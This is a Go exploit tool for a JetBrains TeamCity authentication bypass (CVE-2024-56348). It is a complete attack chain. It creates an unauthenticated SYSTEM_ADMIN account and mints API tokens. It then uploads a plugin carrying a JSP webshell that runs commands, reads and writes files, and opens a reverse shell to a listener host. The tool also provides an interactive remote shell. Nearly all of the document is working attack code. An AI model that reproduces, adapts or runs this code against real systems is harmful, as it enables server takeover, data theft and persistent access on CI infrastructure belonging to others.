README.md
Rendering markdown...
// CVE-2024-56348 — JetBrains TeamCity Authentication Bypass + RCE
// Affected: TeamCity on-premises < 2024.12
// Impact: Unauthenticated attacker can create SYSTEM_ADMIN accounts and achieve RCE
// Author: Joshua van der Poll (https://github.com/joshuavanderpoll)
// Repo: https://github.com/joshuavanderpoll/cve-2024-56348
package main
import (
"archive/zip"
"bufio"
"bytes"
"crypto/tls"
"encoding/base64"
"encoding/json"
"encoding/xml"
"flag"
"fmt"
"io"
"math/rand"
"mime/multipart"
"net/http"
"net/http/cookiejar"
"net/textproto"
"net/url"
"os"
"regexp"
"strings"
"time"
)
const (
pink = "\033[95m"
bold = "\033[1m"
green = "\033[92m"
red = "\033[91m"
yellow = "\033[93m"
cyan = "\033[96m"
reset = "\033[0m"
)
const (
repoURL = "https://github.com/joshuavanderpoll/cve-2024-56348"
userAgent = "Mozilla/5.0 AppleWebKit/537.36 (CVE-2024-56348; +https://github.com/joshuavanderpoll/cve-2024-56348)"
)
var (
client *http.Client
csrfToken string
deployedShellURL string
)
func init() {
rand.Seed(time.Now().UnixNano())
jar, _ := cookiejar.New(nil)
client = &http.Client{
Timeout: 30 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
CheckRedirect: func(req *http.Request, via []*http.Request) error {
return http.ErrUseLastResponse
},
Jar: jar,
}
}
func do(method, rawURL string, body io.Reader, headers map[string]string) (*http.Response, string, error) {
req, err := http.NewRequest(method, rawURL, body)
if err != nil {
return nil, "", err
}
req.Header.Set("User-Agent", userAgent)
for k, v := range headers {
req.Header.Set(k, v)
}
if csrfToken != "" {
req.Header.Set("X-TC-CSRF-Token", csrfToken)
}
resp, err := client.Do(req)
if err != nil {
return nil, "", err
}
defer resp.Body.Close()
b, _ := io.ReadAll(resp.Body)
return resp, string(b), nil
}
func randomString(n int, charset string) string {
b := make([]byte, n)
for i := range b {
b[i] = charset[rand.Intn(len(charset))]
}
return string(b)
}
// checkVulnerable probes the auth-bypass endpoint to confirm the target
// exposes the unauthenticated REST API surface.
func checkVulnerable(target string) bool {
resp, body, err := do("GET", target+"/hax?jsp=/app/rest/server;.jsp", nil, nil)
if err != nil {
return false
}
if resp.StatusCode != 200 || (!strings.Contains(body, "<server") && !strings.Contains(body, "version=")) {
return false
}
return true
}
// addUser creates a SYSTEM_ADMIN account via the unauthenticated REST bypass.
func addUser(target, username, password string) string {
type role struct {
RoleID string `json:"roleId"`
Scope string `json:"scope"`
}
type roles struct {
Role []role `json:"role"`
}
payload := map[string]interface{}{
"username": username,
"password": password,
"email": username + "@example.com",
"roles": roles{Role: []role{{RoleID: "SYSTEM_ADMIN", Scope: "g"}}},
}
b, _ := json.Marshal(payload)
resp, body, err := do(
"POST",
target+"/hax?jsp=/app/rest/users;.jsp",
bytes.NewReader(b),
map[string]string{"Content-Type": "application/json"},
)
if err != nil {
fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err)
os.Exit(1)
}
if resp.StatusCode != 200 {
fmt.Printf("%s[-]%s Failed to create user (HTTP %d). Target may already be patched.\n", red, reset, resp.StatusCode)
os.Exit(1)
}
type userXML struct {
ID string `xml:"id,attr"`
}
var u userXML
if err := xml.Unmarshal([]byte(body), &u); err != nil || u.ID == "" {
fmt.Printf("%s[-]%s Failed to parse user creation response.\n", red, reset)
os.Exit(1)
}
fmt.Printf("%s[+]%s Created user: %s%s%s / %s%s%s (id: %s)\n",
green, reset, cyan, username, reset, cyan, password, reset, u.ID)
return u.ID
}
// getToken mints an API token for the new admin account.
func getToken(target, userID string) string {
name := randomString(10, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
u := fmt.Sprintf("%s/hax?jsp=/app/rest/users/id:%s/tokens/%s;.jsp", target, userID, name)
_, body, err := do("POST", u, nil, nil)
if err != nil {
fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err)
os.Exit(1)
}
type tokenXML struct {
Value string `xml:"value,attr"`
}
var t tokenXML
if err := xml.Unmarshal([]byte(body), &t); err != nil || t.Value == "" {
fmt.Printf("%s[-]%s Failed to parse token response.\n", red, reset)
os.Exit(1)
}
fmt.Printf("%s[+]%s Token: %s%s%s\n", green, reset, cyan, t.Value, reset)
return t.Value
}
// getCSRFToken fetches the CSRF token required for admin requests.
func getCSRFToken(target, token string) string {
resp, body, err := do(
"POST",
target+"/authenticationTest.html?csrf",
nil,
map[string]string{"Authorization": "Bearer " + token},
)
if err != nil || resp.StatusCode != 200 {
fmt.Printf("%s[-]%s Failed to fetch CSRF token.\n", red, reset)
os.Exit(1)
}
csrf := strings.TrimSpace(body)
fmt.Printf("%s[+]%s CSRF token: %s%s%s\n", green, reset, cyan, csrf, reset)
return csrf
}
// getOS detects the remote OS and prints available system info.
func getOS(target string) string {
_, body, err := do("GET", target+"/hax?jsp=/app/rest/debug/jvm/systemProperties;.jsp", nil, nil)
if err != nil {
return "linux"
}
// Extract all interesting system properties in one pass.
interesting := []string{"os.name", "os.version", "os.arch", "java.version", "java.vendor", "user.name", "user.home"}
props := make(map[string]string)
reProp := regexp.MustCompile(`name="([^"]+)"\s+value="([^"]+)"`)
for _, m := range reProp.FindAllStringSubmatch(body, -1) {
for _, key := range interesting {
if m[1] == key {
props[key] = m[2]
}
}
}
if v := props["os.name"]; v != "" {
fmt.Printf("%s[*]%s OS: %s%s %s (%s)%s\n", cyan, reset, cyan, v, props["os.version"], props["os.arch"], reset)
}
if v := props["java.version"]; v != "" {
fmt.Printf("%s[*]%s Java: %s%s (%s)%s\n", cyan, reset, cyan, v, props["java.vendor"], reset)
}
if v := props["user.name"]; v != "" {
fmt.Printf("%s[*]%s Running as: %s%s%s (home: %s)%s\n", cyan, reset, cyan, v, reset, props["user.home"], reset)
}
if osName := props["os.name"]; osName != "" {
return strings.ToLower(osName)
}
return "linux"
}
// buildPluginZip builds the plugin ZIP in memory; JSP dispatches on "action": cmd, read, write, shell.
func buildPluginZip(pluginName string) []byte {
jsp := `<%@ page pageEncoding="utf-8"%>
<%@ page import="java.io.*,java.net.*,java.util.*" %>
<%
String action = request.getParameter("action");
if (action == null) action = "cmd";
if (action.equals("cmd")) {
String query = request.getParameter("cmd");
if (query != null) {
try {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")
? new String[]{"cmd.exe", "/c", query}
: new String[]{"/bin/sh", "-c", query};
Process p = Runtime.getRuntime().exec(cmd);
StringBuilder sOut = new StringBuilder();
StringBuilder sErr = new StringBuilder();
Thread tOut = new Thread(() -> { try { Scanner sc = new Scanner(p.getInputStream()).useDelimiter("\\A"); if (sc.hasNext()) sOut.append(sc.next()); } catch (Exception ignore) {} });
Thread tErr = new Thread(() -> { try { Scanner sc = new Scanner(p.getErrorStream()).useDelimiter("\\A"); if (sc.hasNext()) sErr.append(sc.next()); } catch (Exception ignore) {} });
tOut.start(); tErr.start();
int exit = p.waitFor(); tOut.join(); tErr.join();
response.setHeader("X-Exit-Code", String.valueOf(exit));
if (sErr.length() > 0) response.setHeader("X-Stderr", java.util.Base64.getEncoder().encodeToString(sErr.toString().getBytes("UTF-8")));
out.print(sOut.toString());
} catch (Exception e) { response.setHeader("X-Exit-Code", "-1"); out.print("ERROR: " + e.getMessage()); }
}
} else if (action.equals("read")) {
String path = request.getParameter("path");
if (path != null) {
try {
Scanner sc = new Scanner(new File(path)).useDelimiter("\\A");
out.print(sc.hasNext() ? sc.next() : "");
sc.close();
} catch (Exception e) {
response.setStatus(404);
}
}
} else if (action.equals("write")) {
String path = request.getParameter("path");
String content = request.getParameter("content");
if (path != null && content != null) {
FileWriter fw = new FileWriter(path);
fw.write(content);
fw.close();
out.print("ok");
}
} else if (action.equals("shell")) {
// Background thread — HTTP response returns before the shell exits.
final String lhost = request.getParameter("lhost");
final int lport = Integer.parseInt(request.getParameter("lport"));
final String osName = System.getProperty("os.name").toLowerCase();
new Thread(() -> {
try {
String shell = osName.contains("windows") ? "cmd.exe" : "/bin/sh";
Process p = new ProcessBuilder(shell).redirectErrorStream(true).start();
Socket s = new Socket(lhost, lport);
final InputStream pi = p.getInputStream(), si = s.getInputStream();
final OutputStream po = p.getOutputStream(), so = s.getOutputStream();
new Thread(() -> {
try {
byte[] buf = new byte[1024]; int n;
while ((n = si.read(buf)) != -1) { po.write(buf, 0, n); po.flush(); }
} catch (Exception ignore) {}
}).start();
byte[] buf = new byte[1024]; int n;
while ((n = pi.read(buf)) != -1) { so.write(buf, 0, n); so.flush(); }
s.close();
p.destroy();
} catch (Exception ignore) {}
}).start();
out.print("ok");
}
%>`
pluginXML := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<teamcity-plugin xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="urn:schemas-jetbrains-com:teamcity-plugin-v1-xml">
<info>
<name>%s</name>
<display-name>%s</display-name>
<version>1.0</version>
<vendor><name>x</name></vendor>
</info>
<deployment use-separate-classloader="true"/>
</teamcity-plugin>`, pluginName, pluginName)
// Inner JAR: ZIP containing the JSP under buildServerResources/.
var jarBuf bytes.Buffer
jarW := zip.NewWriter(&jarBuf)
f, _ := jarW.Create("buildServerResources/" + pluginName + ".jsp")
f.Write([]byte(jsp))
jarW.Close()
// Outer plugin ZIP: wrap the JAR and plugin descriptor.
var zipBuf bytes.Buffer
zipW := zip.NewWriter(&zipBuf)
j, _ := zipW.Create("server/" + pluginName + ".jar")
j.Write(jarBuf.Bytes())
x, _ := zipW.Create("teamcity-plugin.xml")
x.Write([]byte(pluginXML))
zipW.Close()
return zipBuf.Bytes()
}
func uploadPlugin(target, pluginName, token string, zipBytes []byte) bool {
var body bytes.Buffer
mw := multipart.NewWriter(&body)
mw.WriteField("fileName", pluginName+".zip")
h := make(textproto.MIMEHeader)
h.Set("Content-Disposition", fmt.Sprintf(`form-data; name="file:fileToUpload"; filename="%s.zip"`, pluginName))
h.Set("Content-Type", "application/zip")
part, _ := mw.CreatePart(h)
part.Write(zipBytes)
mw.Close()
// Fresh cookie jar to avoid stale session during upload.
jar, _ := cookiejar.New(nil)
client.Jar = jar
resp, _, err := do("POST", target+"/admin/pluginUpload.html", &body,
map[string]string{
"Authorization": "Bearer " + token,
"Content-Type": mw.FormDataContentType(),
})
return err == nil && resp.StatusCode == 200
}
// loadPlugin locates the plugin UUID in the admin page and enables it.
func loadPlugin(target, pluginName, token string) bool {
_, body, err := do("GET", target+"/admin/admin.html?item=plugins", nil,
map[string]string{"Authorization": "Bearer " + token})
if err != nil {
return false
}
re := regexp.MustCompile(`BS\.Plugins\.registerPlugin\('` +
regexp.QuoteMeta(pluginName) + `', '[^']*',[^,]*,[^,]*,\s*'([^']*)'\);`)
m := re.FindStringSubmatch(body)
if len(m) < 2 {
fmt.Printf("%s[-]%s Plugin UUID not found after upload.\n", red, reset)
return false
}
data := url.Values{}
data.Set("enabled", "true")
data.Set("action", "setEnabled")
data.Set("uuid", m[1])
resp, body2, err := do("POST", target+"/admin/plugins.html",
strings.NewReader(data.Encode()),
map[string]string{
"Authorization": "Bearer " + token,
"Content-Type": "application/x-www-form-urlencoded",
})
return err == nil && resp.StatusCode == 200 &&
(strings.Contains(body2, "loaded successfully") || strings.Contains(body2, "already loaded"))
}
type cmdResult struct {
Stdout string
Stderr string
ExitCode int
}
// runCommandFull runs a command via the JSP shell and returns stdout, stderr, and exit code.
func runCommandFull(shellURL, command, token string) cmdResult {
data := url.Values{}
data.Set("action", "cmd")
data.Set("cmd", command)
resp, body, err := do("POST", shellURL, strings.NewReader(data.Encode()),
map[string]string{
"Authorization": "Bearer " + token,
"Content-Type": "application/x-www-form-urlencoded",
})
if err != nil {
return cmdResult{Stderr: err.Error(), ExitCode: -1}
}
res := cmdResult{Stdout: strings.TrimSpace(body)}
if code := resp.Header.Get("X-Exit-Code"); code != "" {
fmt.Sscanf(code, "%d", &res.ExitCode)
}
if enc := resp.Header.Get("X-Stderr"); enc != "" {
if b, err := base64.StdEncoding.DecodeString(enc); err == nil {
res.Stderr = strings.TrimRight(string(b), "\n")
}
}
return res
}
func writeFileViaPlugin(shellURL, filePath, content, token string) bool {
data := url.Values{}
data.Set("action", "write")
data.Set("path", filePath)
data.Set("content", content)
resp, _, err := do("POST", shellURL, strings.NewReader(data.Encode()),
map[string]string{
"Authorization": "Bearer " + token,
"Content-Type": "application/x-www-form-urlencoded",
})
return err == nil && resp.StatusCode == 200
}
func readFileViaPlugin(shellURL, filePath, token string) string {
data := url.Values{}
data.Set("action", "read")
data.Set("path", filePath)
resp, body, err := do("POST", shellURL, strings.NewReader(data.Encode()),
map[string]string{
"Authorization": "Bearer " + token,
"Content-Type": "application/x-www-form-urlencoded",
})
if err != nil {
fmt.Printf("%s[-]%s Request error: %v\n", red, reset, err)
return ""
}
if resp.StatusCode == 404 {
fmt.Printf("%s[-]%s File not found on remote: %s\n", red, reset, filePath)
return ""
}
return body
}
func triggerShell(shellURL, lhost, token string, lport int) {
data := url.Values{}
data.Set("action", "shell")
data.Set("lhost", lhost)
data.Set("lport", fmt.Sprintf("%d", lport))
do("POST", shellURL, strings.NewReader(data.Encode()),
map[string]string{
"Authorization": "Bearer " + token,
"Content-Type": "application/x-www-form-urlencoded",
})
}
// runCommandDebug runs a command via the REST debug processes endpoint; returns (output, available=false) on 404.
func runCommandDebug(target, osName, command, token string) (string, bool) {
encoded := url.QueryEscape(command)
var u string
if strings.Contains(osName, "windows") {
u = fmt.Sprintf("%s/app/rest/debug/processes?exePath=cmd.exe¶ms=/c¶ms=%s", target, encoded)
} else {
u = fmt.Sprintf("%s/app/rest/debug/processes?exePath=/bin/sh¶ms=-c¶ms=%s", target, encoded)
}
resp, body, err := do("POST", u, nil,
map[string]string{"Authorization": "Bearer " + token})
if err != nil {
return "", true
}
if resp.StatusCode == 404 {
return "", false
}
re := regexp.MustCompile(`(?s)StdOut:(.*?)StdErr:(.*?)$`)
if m := re.FindStringSubmatch(body); len(m) == 3 {
out := strings.TrimSpace(m[1])
errOut := strings.TrimSpace(m[2])
if out != "" {
return out, true
}
if errOut != "" {
return strings.SplitN(errOut, "\n\n", 2)[0], true
}
return "", true
}
return body, true
}
// ensurePluginShell deploys the JSP plugin once per run and returns its URL.
func ensurePluginShell(target, token string) string {
if deployedShellURL != "" {
return deployedShellURL
}
pluginName := randomString(8, "abcdefghijklmnopqrstuvwxyz")
zipBytes := buildPluginZip(pluginName)
fmt.Printf("%s[@]%s Deploying plugin webshell...\n", yellow, reset)
if !uploadPlugin(target, pluginName, token, zipBytes) {
fmt.Printf("%s[-]%s Plugin upload failed.\n", red, reset)
os.Exit(1)
}
if !loadPlugin(target, pluginName, token) {
fmt.Printf("%s[-]%s Plugin activation failed.\n", red, reset)
os.Exit(1)
}
deployedShellURL = fmt.Sprintf("%s/plugins/%s/%s.jsp", target, pluginName, pluginName)
fmt.Printf("%s[+]%s Plugin webshell deployed: %s%s%s\n", green, reset, cyan, deployedShellURL, reset)
return deployedShellURL
}
func main() {
fmt.Printf("%s%s", pink, bold)
fmt.Println(` _____ _____ ___ __ ___ _ _ ___ __ _____ _ ___ `)
fmt.Println(` / __\ \ / / __|_|_ ) \_ ) | | ___| __| / /|__ / | |( _ )`)
fmt.Println(` | (__ \ V /| _|___/ / () / /|_ _|___|__ \/ _ \|_ \_ _/ _ \`)
fmt.Println(` \___| \_/ |___| /___\__/___| |_| |___/\___/___/ |_|\___/`)
fmt.Printf("%s\n", reset)
fmt.Printf("%s%s%s%s\n\n", pink, bold, repoURL, reset)
targetFlag := flag.String("t", "", "Target URL, e.g. http://127.0.0.1:8111")
commandFlag := flag.String("command", "", "Command to execute on the remote host")
shellFlag := flag.Bool("shell", false, "Spawn a reverse shell (requires -lhost and -lport)")
lhostFlag := flag.String("lhost", "", "Listener host for the reverse shell")
lportFlag := flag.Int("lport", 0, "Listener port for the reverse shell")
writeFileFlag := flag.String("write-file", "", "Remote path to write to (requires -file-content)")
fileContentFlag := flag.String("file-content", "", "Content to write when using -write-file")
readFileFlag := flag.String("read-file", "", "Remote file path to read and print")
flag.Parse()
if *targetFlag == "" {
fmt.Printf("%s[-]%s Usage: exp -t <target> [-command <cmd>] [-shell -lhost <host> -lport <port>] [-write-file <path> -file-content <data>] [-read-file <path>]\n", red, reset)
os.Exit(1)
}
t := strings.TrimRight(*targetFlag, "/")
if !strings.HasPrefix(t, "http://") && !strings.HasPrefix(t, "https://") {
t = "http://" + t
}
fmt.Printf("%s[*]%s Target: %s%s%s\n", cyan, reset, cyan, t, reset)
// Confirm auth-bypass present before proceeding.
fmt.Printf("%s[@]%s Checking for CVE-2024-56348...\n", yellow, reset)
if !checkVulnerable(t) {
fmt.Printf("%s[-]%s Target does not appear to be vulnerable to CVE-2024-56348.\n", red, reset)
os.Exit(1)
}
fmt.Printf("%s[+]%s Target is vulnerable!\n\n", green, reset)
username := randomString(8, "abcdefghijklmnopqrstuvwxyz0123456789")
password := randomString(12, "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
userID := addUser(t, username, password)
token := getToken(t, userID)
csrfToken = getCSRFToken(t, token)
osName := getOS(t)
fmt.Println()
if *shellFlag {
if *lhostFlag == "" || *lportFlag == 0 {
fmt.Printf("%s[-]%s -shell requires both -lhost and -lport.\n", red, reset)
os.Exit(1)
}
shellURL := ensurePluginShell(t, token)
fmt.Printf("%s[*]%s Triggering reverse shell to %s:%d — have your listener ready.\n",
cyan, reset, *lhostFlag, *lportFlag)
triggerShell(shellURL, *lhostFlag, token, *lportFlag)
fmt.Printf("%s[+]%s Shell triggered. Check your listener.\n\n", green, reset)
}
if *writeFileFlag != "" {
if *fileContentFlag == "" {
fmt.Printf("%s[-]%s -write-file requires -file-content.\n", red, reset)
os.Exit(1)
}
shellURL := ensurePluginShell(t, token)
fmt.Printf("%s[@]%s Writing to remote file: %s\n", yellow, reset, *writeFileFlag)
if writeFileViaPlugin(shellURL, *writeFileFlag, *fileContentFlag, token) {
fmt.Printf("%s[+]%s File written successfully.\n\n", green, reset)
} else {
fmt.Printf("%s[-]%s File write failed.\n\n", red, reset)
}
}
if *readFileFlag != "" {
shellURL := ensurePluginShell(t, token)
fmt.Printf("%s[@]%s Reading remote file: %s\n", yellow, reset, *readFileFlag)
content := readFileViaPlugin(shellURL, *readFileFlag, token)
if content != "" {
fmt.Printf("%s[+]%s Contents of %s:\n%s\n\n", green, reset, *readFileFlag, content)
}
}
if *commandFlag != "" {
fmt.Printf("%s[@]%s Executing: %s\n", yellow, reset, *commandFlag)
out, debugAvail := runCommandDebug(t, osName, *commandFlag, token)
if !debugAvail {
// Debug endpoint unavailable — fall back to JSP plugin.
shellURL := ensurePluginShell(t, token)
res := runCommandFull(shellURL, *commandFlag, token)
if res.Stdout != "" {
fmt.Printf("%s[+]%s Output:\n%s\n\n", green, reset, res.Stdout)
}
if res.Stderr != "" {
fmt.Printf("%s[-]%s Stderr:\n%s%s%s\n\n", red, reset, red, res.Stderr, reset)
}
if res.ExitCode != 0 {
fmt.Printf("%s[-]%s Exit code: %d\n\n", red, reset, res.ExitCode)
}
} else if out != "" {
fmt.Printf("%s[+]%s Output:\n%s\n\n", green, reset, out)
}
}
if !*shellFlag && *writeFileFlag == "" && *readFileFlag == "" && *commandFlag == "" {
// No action specified — drop into interactive shell.
fmt.Printf("%s[*]%s No action specified, starting interactive shell. Type 'exit' to quit.\n\n", cyan, reset)
var shellURL string
usePlugin := false
_, debugAvail := runCommandDebug(t, osName, "echo test", token)
if !debugAvail {
shellURL = ensurePluginShell(t, token)
usePlugin = true
}
scanner := bufio.NewScanner(os.Stdin)
exitCode := 0
for {
if exitCode == 0 {
fmt.Printf("%s[%d]%s $ ", green, exitCode, reset)
} else {
fmt.Printf("%s[%d]%s $ ", red, exitCode, reset)
}
if !scanner.Scan() {
fmt.Println()
break
}
cmd := strings.TrimSpace(scanner.Text())
if cmd == "" {
continue
}
if cmd == "exit" || cmd == "quit" {
break
}
if usePlugin {
res := runCommandFull(shellURL, cmd, token)
if res.Stdout != "" {
fmt.Println(res.Stdout)
}
if res.Stderr != "" {
fmt.Printf("%s%s%s\n", red, res.Stderr, reset)
}
exitCode = res.ExitCode
} else {
out, _ := runCommandDebug(t, osName, cmd, token)
if out != "" {
fmt.Println(out)
}
exitCode = 0
}
}
}
fmt.Printf("\n⭐ If this tool helped you, consider starring the repo: %s%s%s%s\n\n",
pink, bold, repoURL, reset)
}